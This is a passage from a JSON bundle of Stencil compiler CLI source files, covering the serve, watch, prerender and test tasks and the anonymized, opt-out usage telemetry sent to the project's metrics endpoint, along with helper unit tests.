Stencil:')} ${coreCompiler.version}${logger.emoji(' ' + coreCompiler.vermoji)}`);\n  console.log(`${logger.cyan('  TypeScript:')} ${versions.typescript}`);\n  console.log(`${logger.cyan('      Rollup:')} ${versions.rollup}`);\n  console.log(`${logger.cyan('      Parse5:')} ${versions.parse5}`);\n  console.log(`${logger.cyan('      jQuery:')} ${versions.jquery}`);\n  console.log(`${logger.cyan('      Terser:')} ${versions.terser}`);\n  console.log(``);\n};\n"
  },
  {
    "path": "src/cli/task-prerender.ts",
    "content": "import { catchError } from '@utils';\n\nimport type { BuildResultsComponentGraph, Diagnostic, ValidatedConfig } from '../declarations';\nimport type { CoreCompiler } from './load-compiler';\nimport { startupCompilerLog } from './logs';\n\nexport const taskPrerender = async (coreCompiler: CoreCompiler, config: ValidatedConfig) => {\n  startupCompilerLog(coreCompiler, config);\n\n  const hydrateAppFilePath = config.flags.unknownArgs[0];\n\n  if (typeof hydrateAppFilePath !== 'string') {\n    config.logger.error(`Missing hydrate app script path`);\n    return config.sys.exit(1);\n  }\n\n  const srcIndexHtmlPath = config.srcIndexHtml;\n\n  const diagnostics = await runPrerenderTask(coreCompiler, config, hydrateAppFilePath, undefined, srcIndexHtmlPath);\n  config.logger.printDiagnostics(diagnostics);\n\n  if (diagnostics.some((d) => d.level === 'error')) {\n    return config.sys.exit(1);\n  }\n};\n\nexport const runPrerenderTask = async (\n  coreCompiler: CoreCompiler,\n  config: ValidatedConfig,\n  hydrateAppFilePath?: string,\n  componentGraph?: BuildResultsComponentGraph,\n  srcIndexHtmlPath?: string,\n) => {\n  const diagnostics: Diagnostic[] = [];\n\n  try {\n    const prerenderer = await coreCompiler.createPrerenderer(config);\n    const results = await prerenderer.start({\n      hydrateAppFilePath,\n      componentGraph,\n      srcIndexHtmlPath,\n    });\n\n    diagnostics.push(...results.diagnostics);\n  } catch (e: any) {\n    catchError(diagnostics, e);\n  }\n\n  return diagnostics;\n};\n"
  },
  {
    "path": "src/cli/task-serve.ts",
    "content": "import { isString } from '@utils';\n\nimport type { ValidatedConfig } from '../declarations';\n\nexport const taskServe = async (config: ValidatedConfig) => {\n  config.suppressLogs = true;\n\n  config.flags.serve = true;\n  config.devServer.openBrowser = !!config.flags.open;\n  config.devServer.reloadStrategy = null;\n  config.devServer.initialLoadUrl = '/';\n  config.devServer.websocket = false;\n  config.maxConcurrentWorkers = 1;\n  config.devServer.root = isString(config.flags.root) ? config.flags.root : config.sys.getCurrentDirectory();\n\n  if (!config.sys.getDevServerExecutingPath || !config.sys.dynamicImport || !config.sys.onProcessInterrupt) {\n    throw new Error(\n      `Environment doesn't provide required functions: getDevServerExecutingPath, dynamicImport, onProcessInterrupt`,\n    );\n  }\n\n  const devServerPath = config.sys.getDevServerExecutingPath();\n  const { start }: typeof import('@stencil/core/dev-server') = await config.sys.dynamicImport(devServerPath);\n  const devServer = await start(config.devServer, config.logger);\n\n  console.log(`${config.logger.cyan('     Root:')} ${devServer.root}`);\n  console.log(`${config.logger.cyan('  Address:')} ${devServer.address}`);\n  console.log(`${config.logger.cyan('     Port:')} ${devServer.port}`);\n  console.log(`${config.logger.cyan('   Server:')} ${devServer.browserUrl}`);\n  console.log(``);\n\n  config.sys.onProcessInterrupt(() => {\n    if (devServer) {\n      config.logger.debug(`dev server close: ${devServer.browserUrl}`);\n      devServer.close();\n    }\n  });\n};\n"
  },
  {
    "path": "src/cli/task-telemetry.ts",
    "content": "import type * as d from '../declarations';\nimport { ConfigFlags } from './config-flags';\nimport { checkTelemetry, disableTelemetry, enableTelemetry } from './telemetry/telemetry';\n\n/**\n * Entrypoint for the Telemetry task\n * @param flags configuration flags provided to Stencil when a task was called (either this task or a task that invokes\n * telemetry)\n * @param sys the abstraction for interfacing with the operating system\n * @param logger a logging implementation to log the results out to the user\n */\nexport const taskTelemetry = async (flags: ConfigFlags, sys: d.CompilerSystem, logger: d.Logger): Promise<void> => {\n  const prompt = logger.dim(sys.details?.platform === 'windows' ? '>' : '$');\n  const isEnabling = flags.args.includes('on');\n  const isDisabling = flags.args.includes('off');\n  const INFORMATION = `Opt in or out of telemetry. Information about the data we collect is available on our website: ${logger.bold(\n    'https://stenciljs.com/telemetry',\n  )}`;\n  const THANK_YOU = `Thank you for helping to make Stencil better! 💖`;\n  const ENABLED_MESSAGE = `${logger.green('Enabled')}. ${THANK_YOU}\\n\\n`;\n  const DISABLED_MESSAGE = `${logger.red('Disabled')}\\n\\n`;\n  const hasTelemetry = await checkTelemetry(sys);\n\n  if (isEnabling) {\n    const result = await enableTelemetry(sys);\n    result\n      ? console.log(`\\n  ${logger.bold('Telemetry is now ') + ENABLED_MESSAGE}`)\n      : console.log(`Something went wrong when enabling Telemetry.`);\n    return;\n  }\n\n  if (isDisabling) {\n    const result = await disableTelemetry(sys);\n    result\n      ? console.log(`\\n  ${logger.bold('Telemetry is now ') + DISABLED_MESSAGE}`)\n      : console.log(`Something went wrong when disabling Telemetry.`);\n    return;\n  }\n\n  console.log(`  ${logger.bold('Telemetry:')} ${logger.dim(INFORMATION)}`);\n\n  console.log(`\\n  ${logger.bold('Status')}: ${hasTelemetry ? ENABLED_MESSAGE : DISABLED_MESSAGE}`);\n\n  console.log(`    ${prompt} ${logger.green('stencil telemetry [off|on]')}\n\n        ${logger.cyan('off')} ${logger.dim('.............')} Disable sharing anonymous usage data\n        ${logger.cyan('on')} ${logger.dim('..............')} Enable sharing anonymous usage data\n  `);\n};\n"
  },
  {
    "path": "src/cli/task-test.ts",
    "content": "import type { TestingRunOptions, ValidatedConfig } from '../declarations';\n\n/**\n * Entrypoint for any Stencil tests\n * @param config a validated Stencil configuration entity\n * @returns a void promise\n */\nexport const taskTest = async (config: ValidatedConfig): Promise<void> => {\n  config.logger.warn(\n    config.logger.yellow(\n      `[DEPRECATION] Stencil's integrated testing (the 'test' task, --spec and --e2e flags) is deprecated and will be removed in Stencil v5. ` +\n        `Migrate spec tests to @stencil/vitest (https://github.com/stenciljs/vitest) and ` +\n        `e2e / browser tests to either @stencil/vitest (https://github.com/stenciljs/vitest) or ` +\n        `@stencil/playwright (https://github.com/stenciljs/playwright). ` +\n        `See https://github.com/stenciljs/core/issues/6584 for full details.`,\n    ),\n  );\n  config.buildDocs = false;\n  const testingRunOpts: TestingRunOptions = {\n    e2e: !!config.flags.e2e,\n    screenshot: !!config.flags.screenshot,\n    spec: !!config.flags.spec,\n    updateScreenshot: !!config.flags.updateScreenshot,\n  };\n\n  // always ensure we have jest modules installed\n  const ensureModuleIds = ['@types/jest', 'jest', 'jest-cli'];\n\n  if (testingRunOpts.e2e) {\n    // if it's an e2e test, also make sure we're got\n    // puppeteer modules installed and if browserExecutablePath is provided don't download Chromium use only puppeteer-core instead\n    const puppeteer = config.testing.browserExecutablePath ? 'puppeteer-core' : 'puppeteer';\n\n    ensureModuleIds.push(puppeteer);\n\n    if (testingRunOpts.screenshot) {\n      // ensure we've got pixelmatch for screenshots\n      config.logger.warn(\n        config.logger.yellow(\n          `EXPERIMENTAL: screenshot visual diff testing is currently under heavy development and has not reached a stable status. However, any assistance testing would be appreciated.`,\n        ),\n      );\n    }\n  }\n\n  // ensure we've got the required modules installed\n  const diagnostics = await config.sys.lazyRequire?.ensure(config.rootDir, ensureModuleIds);\n  if (diagnostics && diagnostics.length > 0) {\n    config.logger.printDiagnostics(diagnostics);\n    return config.sys.exit(1);\n  }\n\n  try {\n    /**\n     * We dynamically import the testing submodule here in order for Stencil's lazy module checking to work properly.\n     *\n     * Prior to this call, we create a collection of string-based node module names and ensure that they're installed &\n     * on disk. The testing submodule includes `jest` (amongst other) testing libraries in its dependency chain. We need\n     * to run the lazy module check _before_ we include `jest` et al. in our dependency chain otherwise, the lazy module\n     * checking would fail to run properly (because we'd import `jest`, which wouldn't exist, before we even checked if\n     * it was installed).\n     */\n    const { createTesting } = await import('@stencil/core/testing');\n    const testing = await createTesting(config);\n    const passed = await testing.run(testingRunOpts);\n    await testing.destroy();\n\n    if (!passed) {\n      return config.sys.exit(1);\n    }\n  } catch (e) {\n    config.logger.error(e);\n    return config.sys.exit(1);\n  }\n};\n"
  },
  {
    "path": "src/cli/task-watch.ts",
    "content": "import type { DevServer, ValidatedConfig } from '../declarations';\nimport { printCheckVersionResults, startCheckVersion } from './check-version';\nimport type { CoreCompiler } from './load-compiler';\nimport { startupCompilerLog } from './logs';\n\nexport const taskWatch = async (coreCompiler: CoreCompiler, config: ValidatedConfig) => {\n  let devServer: DevServer | null = null;\n  let exitCode = 0;\n\n  try {\n    startupCompilerLog(coreCompiler, config);\n\n    const versionChecker = startCheckVersion(config, coreCompiler.version);\n\n    const compiler = await coreCompiler.createCompiler(config);\n    const watcher = await compiler.createWatcher();\n\n    if (!config.sys.getDevServerExecutingPath || !config.sys.dynamicImport || !config.sys.onProcessInterrupt) {\n      throw new Error(\n        `Environment doesn't provide required functions: getDevServerExecutingPath, dynamicImport, onProcessInterrupt`,\n      );\n    }\n\n    if (config.flags.serve) {\n      const devServerPath = config.sys.getDevServerExecutingPath();\n      const { start }: typeof import('@stencil/core/dev-server') = await config.sys.dynamicImport(devServerPath);\n      devServer = await start(config.devServer, config.logger, watcher);\n    }\n\n    config.sys.onProcessInterrupt(() => {\n      config.logger.debug(`close watch`);\n      compiler && compiler.destroy();\n    });\n\n    const rmVersionCheckerLog = watcher.on('buildFinish', async () => {\n      // log the version check one time\n      rmVersionCheckerLog();\n      printCheckVersionResults(versionChecker);\n    });\n\n    if (devServer) {\n      const rmDevServerLog = watcher.on('buildFinish', () => {\n        // log the dev server url one time\n        rmDevServerLog();\n        const url = devServer?.browserUrl ?? 'UNKNOWN URL';\n        config.logger.info(`${config.logger.cyan(url)}\\n`);\n      });\n    }\n\n    const closeResults = await watcher.start();\n    if (closeResults.exitCode > 0) {\n      exitCode = closeResults.exitCode;\n    }\n  } catch (e) {\n    exitCode = 1;\n    config.logger.error(e);\n  }\n\n  if (devServer) {\n    await devServer.close();\n  }\n\n  if (exitCode > 0) {\n    return config.sys.exit(exitCode);\n  }\n};\n"
  },
  {
    "path": "src/cli/telemetry/helpers.ts",
    "content": "import type * as d from '../../declarations';\nimport { ConfigFlags } from '../config-flags';\n\nexport const tryFn = async <T extends (...args: any[]) => Promise<R>, R>(fn: T, ...args: any[]): Promise<R | null> => {\n  try {\n    return await fn(...args);\n  } catch {\n    // ignore\n  }\n\n  return null;\n};\n\nexport const isInteractive = (sys: d.CompilerSystem, flags: ConfigFlags, object?: d.TerminalInfo): boolean => {\n  const terminalInfo =\n    object ||\n    Object.freeze({\n      tty: sys.isTTY() ? true : false,\n      ci:\n        ['CI', 'BUILD_ID', 'BUILD_NUMBER', 'BITBUCKET_COMMIT', 'CODEBUILD_BUILD_ARN'].filter(\n          (v) => !!sys.getEnvironmentVar?.(v),\n        ).length > 0 || !!flags.ci,\n    });\n\n  return terminalInfo.tty && !terminalInfo.ci;\n};\n\nexport const UUID_REGEX = new RegExp(/^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i);\n\n// Plucked from https://github.com/ionic-team/capacitor/blob/b893a57aaaf3a16e13db9c33037a12f1a5ac92e0/cli/src/util/uuid.ts\nexport function uuidv4(): string {\n  return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, (c) => {\n    const r = (Math.random() * 16) | 0;\n    const v = c == 'x' ? r : (r & 0x3) | 0x8;\n\n    return v.toString(16);\n  });\n}\n\n/**\n * Reads and parses a JSON file from the given `path`\n * @param sys The system where the command is invoked\n * @param path the path on the file system to read and parse\n * @returns the parsed JSON\n */\nexport async function readJson(sys: d.CompilerSystem, path: string): Promise<any> {\n  const file = await sys.readFile(path);\n  return !!file && JSON.parse(file);\n}\n\n/**\n * Does the command have the debug flag?\n * @param flags The configuration flags passed into the Stencil command\n * @returns true if --debug has been passed, otherwise false\n */\nexport function hasDebug(flags: ConfigFlags): boolean {\n  return !!flags.debug;\n}\n\n/**\n * Does the command have the verbose and debug flags?\n * @param flags The configuration flags passed into the Stencil command\n * @returns true if both --debug and --verbose have been passed, otherwise false\n */\nexport function hasVerbose(flags: ConfigFlags): boolean {\n  return !!flags.verbose && hasDebug(flags);\n}\n"
  },
  {
    "path": "src/cli/telemetry/shouldTrack.ts",
    "content": "import * as d from '../../declarations';\nimport { isInteractive } from './helpers';\nimport { checkTelemetry } from './telemetry';\n\n/**\n * Used to determine if tracking should occur.\n * @param config The config passed into the Stencil command\n * @param sys The system where the command is invoked\n * @param ci whether or not the process is running in a Continuous Integration (CI) environment\n * @returns true if telemetry should be sent, false otherwise\n */\nexport async function shouldTrack(config: d.ValidatedConfig, sys: d.CompilerSystem, ci?: boolean) {\n  return !ci && isInteractive(sys, config.flags) && (await checkTelemetry(sys));\n}\n"
  },
  {
    "path": "src/cli/telemetry/telemetry.ts",
    "content": "import { isOutputTargetHydrate, WWW } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { readConfig, updateConfig, writeConfig } from '../ionic-config';\nimport { CoreCompiler } from '../load-compiler';\nimport { hasDebug, hasVerbose, readJson, tryFn, uuidv4 } from './helpers';\nimport { shouldTrack } from './shouldTrack';\n\n/**\n * Used to within taskBuild to provide the component_count property.\n *\n * @param sys The system where the command is invoked\n * @param config The config passed into the Stencil command\n * @param coreCompiler The compiler used to do builds\n * @param result The results of a compiler build.\n */\nexport async function telemetryBuildFinishedAction(\n  sys: d.CompilerSystem,\n  config: d.ValidatedConfig,\n  coreCompiler: CoreCompiler,\n  result: d.CompilerBuildResults,\n) {\n  const tracking = await shouldTrack(config, sys, !!config.flags.ci);\n\n  if (!tracking) {\n    return;\n  }\n\n  const component_count = result.componentGraph ? Object.keys(result.componentGraph).length : undefined;\n\n  const data = await prepareData(coreCompiler, config, sys, result.duration, component_count);\n\n  await sendMetric(sys, config, 'stencil_cli_command', data);\n\n  config.logger.debug(`${config.logger.blue('Telemetry')}: ${config.logger.gray(JSON.stringify(data))}`);\n}\n\n/**\n * A function to wrap a compiler task function around. Will send telemetry if, and only if, the machine allows.\n *\n * @param sys The system where the command is invoked\n * @param config The config passed into the Stencil command\n * @param coreCompiler The compiler used to do builds\n * @param action A Promise-based function to call in order to get the duration of any given command.\n * @returns void\n */\nexport async function telemetryAction(\n  sys: d.CompilerSystem,\n  config: d.ValidatedConfig,\n  coreCompiler: CoreCompiler,\n  action?: d.TelemetryCallback,\n) {\n  const tracking = await shouldTrack(config, sys, !!config.flags.ci);\n\n  let duration = undefined;\n  let error: any;\n\n  if (action) {\n    const start = new Date();\n\n    try {\n      await action();\n    } catch (e) {\n      error = e;\n    }\n\n    const end = new Date();\n    duration = end.getTime() - start.getTime();\n  }\n\n  // We'll get componentCount details inside the taskBuild, so let's not send two messages.\n  if (!tracking || (config.flags.task == 'build' && !config.flags.args.includes('--watch'))) {\n    return;\n  }\n\n  const data = await prepareData(coreCompiler, config, sys, duration);\n\n  await sendMetric(sys, config, 'stencil_cli_command', data);\n  config.logger.debug(`${config.logger.blue('Telemetry')}: ${config.logger.gray(JSON.stringify(data))}`);\n\n  if (error) {\n    throw error;\n  }\n}\n\n/**\n * Helper function to determine if a Stencil configuration builds an application.\n *\n * This function is a rough approximation whether an application is generated as a part of a Stencil build, based on\n * contents of the project's `stencil.config.ts` file.\n *\n * @param config the configuration used by the Stencil project\n * @returns true if we believe the project generates an application, false otherwise\n */\nexport function hasAppTarget(config: d.ValidatedConfig): boolean {\n  return config.outputTargets.some(\n    (target) => target.type === WWW && (!!target.serviceWorker || (!!target.baseUrl && target.baseUrl !== '/')),\n  );\n}\n\nexport function isUsingYarn(sys: d.CompilerSystem) {\n  return sys.getEnvironmentVar?.('npm_execpath')?.includes('yarn') || false;\n}\n\n/**\n * Build a list of the different types of output targets used in a Stencil configuration.\n *\n * Duplicate entries will not be returned from the list\n *\n * @param config the configuration used by the Stencil project\n * @returns a unique list of output target types found in the Stencil configuration\n */\nexport function getActiveTargets(config: d.ValidatedConfig): string[] {\n  const result = config.outputTargets.map((t) => t.type);\n  return Array.from(new Set(result));\n}\n\n/**\n * Prepare data for telemetry\n *\n * @param coreCompiler the core compiler\n * @param config the current Stencil config\n * @param sys the compiler system instance in use\n * @param duration_ms the duration of the action being tracked\n * @param component_count the number of components being built (optional)\n * @returns a Promise wrapping data for the telemetry endpoint\n */\nexport const prepareData = async (\n  coreCompiler: CoreCompiler,\n  config: d.ValidatedConfig,\n  sys: d.CompilerSystem,\n  duration_ms: number | undefined,\n  component_count: number | undefined = undefined,\n): Promise<d.TrackableData> => {\n  const { typescript, rollup } = coreCompiler.versions || { typescript: 'unknown', rollup: 'unknown' };\n  const { packages, packagesNoVersions } = await getInstalledPackages(sys, config);\n  const targets = getActiveTargets(config);\n  const yarn = isUsingYarn(sys);\n  const stencil = coreCompiler.version || 'unknown';\n  const system = `${sys.name} ${sys.version}`;\n  const os_name = sys.details?.platform;\n  const os_version = sys.details?.release;\n  const cpu_model = sys.details?.cpuModel;\n  const build = coreCompiler.buildId || 'unknown';\n  const has_app_pwa_config = hasAppTarget(config);\n  const anonymizedConfig = anonymizeConfigForTelemetry(config);\n\n  return {\n    arguments: config.flags.args,\n    build,\n    component_count,\n    config: anonymizedConfig,\n    cpu_model,\n    duration_ms,\n    has_app_pwa_config,\n    os_name,\n    os_version,\n    packages,\n    packages_no_versions: packagesNoVersions,\n    rollup,\n    stencil,\n    system,\n    system_major: getMajorVersion(system),\n    targets,\n    task: config.flags.task,\n    typescript,\n    yarn,\n  };\n};\n\n// Setting a key type to `never` excludes it from a mapped type, so we\n// can get only keys which map to a string value by excluding all keys `K`\n// where `d.Config[K]` does not extend `string`.\ntype ConfigStringKeys = keyof {\n  [K in keyof d.Config as Required<d.Config>[K] extends string ? K : never]: d.Config[K];\n};\n\n// props in output targets for which we retain their original values when\n// preparing a config for telemetry\n//\n// we omit the values of all other fields on output targets.\nconst OUTPUT_TARGET_KEYS_TO_KEEP: ReadonlyArray<string> = ['type'];\n\n// top-level config props that we anonymize for telemetry\nconst CONFIG_PROPS_TO_ANONYMIZE: ReadonlyArray<ConfigStringKeys> = [\n  'rootDir',\n  'fsNamespace',\n  'packageJsonFilePath',\n  'namespace',\n  'srcDir',\n  'srcIndexHtml',\n  'buildLogFilePath',\n  'cacheDir',\n  'configPath',\n  'tsconfig',\n];\n\n// Props we delete entirely from the config for telemetry\n//\n// TODO(STENCIL-469): Investigate improving anonymization for tsCompilerOptions and devServer\nconst CONFIG_PROPS_TO_DELETE: ReadonlyArray<keyof d.Config> = [\n  'commonjs',\n  'devServer',\n  'env',\n  'logger',\n  'rollupConfig',\n  'sys',\n  'testing',\n  'tsCompilerOptions',\n];\n\n/**\n * Anonymize the config for telemetry, replacing potentially revealing config props\n * with a placeholder string if they are present (this lets us still track how frequently\n * these config options are being used)\n *\n * @param config the config to anonymize\n * @returns an anonymized copy of the same config\n */\nexport const anonymizeConfigForTelemetry = (config: d.ValidatedConfig): d.Config => {\n  const anonymizedConfig: d.Config = { ...config };\n\n  for (const prop of CONFIG_PROPS_TO_ANONYMIZE) {\n    if (anonymizedConfig[prop] !== undefined) {\n      anonymizedConfig[prop] = 'omitted';\n    }\n  }\n\n  anonymizedConfig.outputTargets = config.outputTargets.map((target) => {\n    // Anonymize the outputTargets on our configuration, taking advantage of the\n    // optional 2nd argument to `JSON.stringify`. If anything is not a string\n    // we retain it so that any nested properties are handled, else we check\n    // whether it's in our 'keep' list to decide whether to keep it or replace it\n    // with `\"omitted\"`.\n    const anonymizedOT = JSON.parse(\n      JSON.stringify(target, (key, value) => {\n        if (!(typeof value === 'string')) {\n          return value;\n        }\n        if (OUTPUT_TARGET_KEYS_TO_KEEP.includes(key)) {\n          return value;\n        }\n        return 'omitted';\n      }),\n    );\n\n    // this prop has to be handled separately because it is an array\n    // so the replace function above will be called with all of its\n    // members, giving us `[\"omitted\", \"omitted\", ...]`.\n    //\n    // Instead, we check for its presence and manually copy over.\n    if (isOutputTargetHydrate(target) && target.external) {\n      anonymizedOT['external'] = target.external.concat();\n    }\n    return anonymizedOT;\n  });\n\n  // TODO(STENCIL-469): Investigate improving anonymization for tsCompilerOptions and devServer\n  for (const prop of CONFIG_PROPS_TO_DELETE) {\n    delete anonymizedConfig[prop];\n  }\n\n  return anonymizedConfig;\n};\n\n/**\n * Reads package-lock.json, yarn.lock, and package.json files in order to cross-reference\n * the dependencies and devDependencies properties. Pulls up the current installed version\n * of each package under the @stencil, @ionic, and @capacitor scopes.\n *\n * @param sys the system instance where telemetry is invoked\n * @param config the Stencil configuration associated with the current task that triggered telemetry\n * @returns an object listing all dev and production dependencies under the aforementioned scopes\n */\nasync function getInstalledPackages(\n  sys: d.CompilerSystem,\n  config: d.ValidatedConfig,\n): Promise<{ packages: string[]; packagesNoVersions: string[] }> {\n  let packages: string[] = [];\n  let packagesNoVersions: string[] = [];\n  const yarn = isUsingYarn(sys);\n\n  try {\n    // Read package.json and package-lock.json\n    const appRootDir = sys.getCurrentDirectory();\n\n    const packageJson: d.PackageJsonData | null = await tryFn(\n      readJson,\n      sys,\n      sys.resolvePath(appRootDir + '/package.json'),\n    );\n\n    // They don't have a package.json for some reason? Eject button.\n    if (!packageJson) {\n      return { packages, packagesNoVersions };\n    }\n\n    const rawPackages: [string, string][] = Object.entries({\n      ...packageJson.devDependencies,\n      ...packageJson.dependencies,\n    });\n\n    // Collect packages only in the stencil, ionic, or capacitor org's:\n    // https://www.npmjs.com/org/stencil\n    const ionicPackages = rawPackages.filter(\n      ([k]) => k.startsWith('@stencil/') || k.startsWith('@ionic/') || k.startsWith('@capacitor/'),\n    );\n\n    try {\n      packages = yarn ? await yarnPackages(sys, ionicPackages) : await npmPackages(sys, ionicPackages);\n    } catch (e) {\n      packages = ionicPackages.map(([k, v]) => `${k}@${v.replace('^', '')}`);\n    }\n\n    packagesNoVersions = ionicPackages.map(([k]) => `${k}`);\n\n    return { packages, packagesNoVersions };\n  } catch (err) {\n    hasDebug(config.flags) && console.error(err);\n    return { packages, packagesNoVersions };\n  }\n}\n\n/**\n * Visits the npm lock file to find the exact versions that are installed\n * @param sys The system where the command is invoked\n * @param ionicPackages a list of the found packages matching `@stencil`, `@capacitor`, or `@ionic` from the package.json file.\n * @returns an array of strings of all the packages and their versions.\n */\nasync function npmPackages(sys: d.CompilerSystem, ionicPackages: [string, string][]): Promise<string[]> {\n  const appRootDir = sys.getCurrentDirectory();\n  const packageLockJson: any = await tryFn(readJson, sys, sys.resolvePath(appRootDir + '/package-lock.json'));\n\n  return ionicPackages.map(([k, v]) => {\n    let version = packageLockJson?.dependencies[k]?.version ?? packageLockJson?.devDependencies[k]?.version ?? v;\n    version = version.includes('file:') ? sanitizeDeclaredVersion(v) : version;\n    return `${k}@${version}`;\n  });\n}\n\n/**\n * Visits the yarn lock file to find the exact versions that are installed\n * @param sys The system where the command is invoked\n * @param ionicPackages a list of the found packages matching `@stencil`, `@capacitor`, or `@ionic` from the package.json file.\n * @returns an array of strings of all the packages and their versions.\n */\nasync function yarnPackages(sys: d.CompilerSystem, ionicPackages: [string, string][]): Promise<string[]> {\n  const appRootDir = sys.getCurrentDirectory();\n  const yarnLock = sys.readFileSync(sys.resolvePath(appRootDir + '/yarn.lock'));\n  const yarnLockYml = sys.parseYarnLockFile?.(yarnLock);\n\n  return ionicPackages.map(([k, v]) => {\n    const identifiedVersion = `${k}@${v}`;\n    let version = yarnLockYml?.object[identifiedVersion]?.version;\n    version = version && version.includes('undefined') ? sanitizeDeclaredVersion(identifiedVersion) : version;\n    return `${k}@${version}`;\n  });\n}\n\n/**\n * This function is used for fallback purposes, where an npm or yarn lock file doesn't exist in the consumers directory.\n * This will strip away '*', '^' and '~' from the declared package versions in a package.json.\n * @param version the raw semver pattern identifier version string\n * @returns a cleaned up representation without any qualifiers\n */\nfunction sanitizeDeclaredVersion(version: string): string {\n  return version.replace(/[*^~]/g, '');\n}\n\n/**\n * If telemetry is enabled, send a metric to an external data store\n *\n * @param sys the system instance where telemetry is invoked\n * @param config the Stencil configuration associated with the current task that triggered telemetry\n * @param name the name of a trackable metric. Note this name is not necessarily a scalar value to track, like\n * \"Stencil Version\". For example, \"stencil_cli_command\" is a name that is used to track all CLI command information.\n * @param value the data to send to the external data store under the provided name argument\n */\nexport async function sendMetric(\n  sys: d.CompilerSystem,\n  config: d.ValidatedConfig,\n  name: string,\n  value: d.TrackableData,\n): Promise<void> {\n  const session_id = await getTelemetryToken(sys);\n\n  const message: d.Metric = {\n    name,\n    timestamp: new Date().toISOString(),\n    source: 'stencil_cli',\n    value,\n    session_id,\n  };\n\n  await sendTelemetry(sys, config, message);\n}\n\n/**\n * Used to read the config file's tokens.telemetry property.\n *\n * @param sys The system where the command is invoked\n * @returns string\n */\nasync function getTelemetryToken(sys: d.CompilerSystem) {\n  const config = await readConfig(sys);\n  if (config['tokens.telemetry'] === undefined) {\n    config['tokens.telemetry'] = uuidv4();\n    await writeConfig(sys, config);\n  }\n  return config['tokens.telemetry'];\n}\n\n/**\n * Issues a request to the telemetry server.\n * @param sys The system where the command is invoked\n * @param config The config passed into the Stencil command\n * @param data Data to be tracked\n */\nasync function sendTelemetry(sys: d.CompilerSystem, config: d.ValidatedConfig, data: d.Metric): Promise<void> {\n  try {\n    const now = new Date().toISOString();\n\n    const body = {\n      metrics: [data],\n      sent_at: now,\n    };\n\n    if (!sys.fetch) {\n      throw new Error('No fetch implementation available');\n    }\n\n    // This request is only made if telemetry is on.\n    const response = await sys.fetch('https://api.ionicjs.com/events/metrics', {\n      method: 'POST',\n      headers: {\n        'Content-Type': 'application/json',\n      },\n      body: JSON.stringify(body),\n    });\n\n    hasVerbose(config.flags) &&\n      console.debug('\\nSent %O metric to events service (status: %O)', data.name, response.status, '\\n');\n\n    if (response.status !== 204) {\n      hasVerbose(config.flags) &&\n        console.debug('\\nBad response from events service. Request body: %O', response.body.toString(), '\\n');\n    }\n  } catch (e) {\n    hasVerbose(config.flags) && console.debug('Telemetry request failed:', e);\n  }\n}\n\n/**\n * Checks if telemetry is enabled on this machine\n * @param sys The system where the command is invoked\n * @returns true if telemetry is enabled, false otherwise\n */\nexport async function checkTelemetry(sys: d.CompilerSystem): Promise<boolean> {\n  const config = await readConfig(sys);\n  if (config['telemetry.stencil'] === undefined) {\n    config['telemetry.stencil'] = true;\n    await writeConfig(sys, config);\n  }\n  return config['telemetry.stencil'];\n}\n\n/**\n * Writes to the config file, enabling telemetry for this machine.\n * @param sys The system where the command is invoked\n * @returns true if writing the file was successful, false otherwise\n */\nexport async function enableTelemetry(sys: d.CompilerSystem): Promise<boolean> {\n  return await updateConfig(sys, { 'telemetry.stencil': true });\n}\n\n/**\n * Writes to the config file, disabling telemetry for this machine.\n * @param sys The system where the command is invoked\n * @returns true if writing the file was successful, false otherwise\n */\nexport async function disableTelemetry(sys: d.CompilerSystem): Promise<boolean> {\n  return await updateConfig(sys, { 'telemetry.stencil': false });\n}\n\n/**\n * Takes in a semver string in order to return the major version.\n * @param version The fully qualified semver version\n * @returns a string of the major version\n */\nfunction getMajorVersion(version: string): string {\n  const parts = version.split('.');\n  return parts[0];\n}\n"
  },
  {
    "path": "src/cli/telemetry/test/helpers.spec.ts",
    "content": "import { createSystem } from '../../../compiler/sys/stencil-sys';\nimport { ConfigFlags, createConfigFlags } from '../../config-flags';\nimport { hasDebug, hasVerbose, isInteractive, tryFn, uuidv4 } from '../helpers';\n\ndescribe('hasDebug', () => {\n  it('returns true when the \"debug\" flag is true', () => {\n    const flags = createConfigFlags({\n      debug: true,\n    });\n\n    expect(hasDebug(flags)).toBe(true);\n  });\n\n  it('returns false when the \"debug\" flag is false', () => {\n    const flags = createConfigFlags({\n      debug: false,\n    });\n\n    expect(hasDebug(flags)).toBe(false);\n  });\n\n  it('returns false when a flag is not passed', () => {\n    const flags = createConfigFlags({});\n\n    expect(hasDebug(flags)).toBe(false);\n  });\n});\n\ndescribe('hasVerbose', () => {\n  it.each<Partial<ConfigFlags>>([\n    { debug: true, verbose: false },\n    { debug: false, verbose: true },\n    { debug: false, verbose: false },\n  ])('returns false when debug=$debug and verbose=$verbose', (flagOverrides) => {\n    const flags = createConfigFlags(flagOverrides);\n\n    expect(hasVerbose(flags)).toBe(false);\n  });\n\n  it('returns true when debug=true and verbose=true', () => {\n    const flags = createConfigFlags({\n      debug: true,\n      verbose: true,\n    });\n\n    expect(hasVerbose(flags)).toBe(true);\n  });\n});\n\ndescribe('uuidv4', () => {\n  it('outputs a UUID', () => {\n    const pattern = new RegExp(/^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i);\n    const uuid = uuidv4();\n    expect(!!uuid.match(pattern)).toBe(true);\n  });\n});\n\ndescribe('isInteractive', () => {\n  const sys = createSystem();\n\n  it('returns false by default', () => {\n    const result = isInteractive(sys, createConfigFlags({ ci: false }), { ci: false, tty: false });\n    expect(result).toBe(false);\n  });\n\n  it('returns false when tty is false', () => {\n    const result = isInteractive(sys, createConfigFlags({ ci: true }), { ci: true, tty: false });\n    expect(result).toBe(false);\n  });\n\n  it('returns false when ci is true', () => {\n    const result = isInteractive(sys, createConfigFlags({ ci: true }), { ci: true, tty: true });\n    expect(result).toBe(false);\n  });\n\n  it('returns true when tty is true and ci is false', () => {\n    const result = isInteractive(sys, createConfigFlags({ ci: false }), { ci: false, tty: true });\n    expect(result).toBe(true);\n  });\n});\n\ndescribe('tryFn', () => {\n  it('handles failures correctly', async () => {\n    const result = await tryFn(async () => {\n      throw new Error('Uh oh!');\n    });\n\n    expect(result).toBe(null);\n  });\n\n  it('handles success correctly', async () => {\n    const result = await tryFn(async () 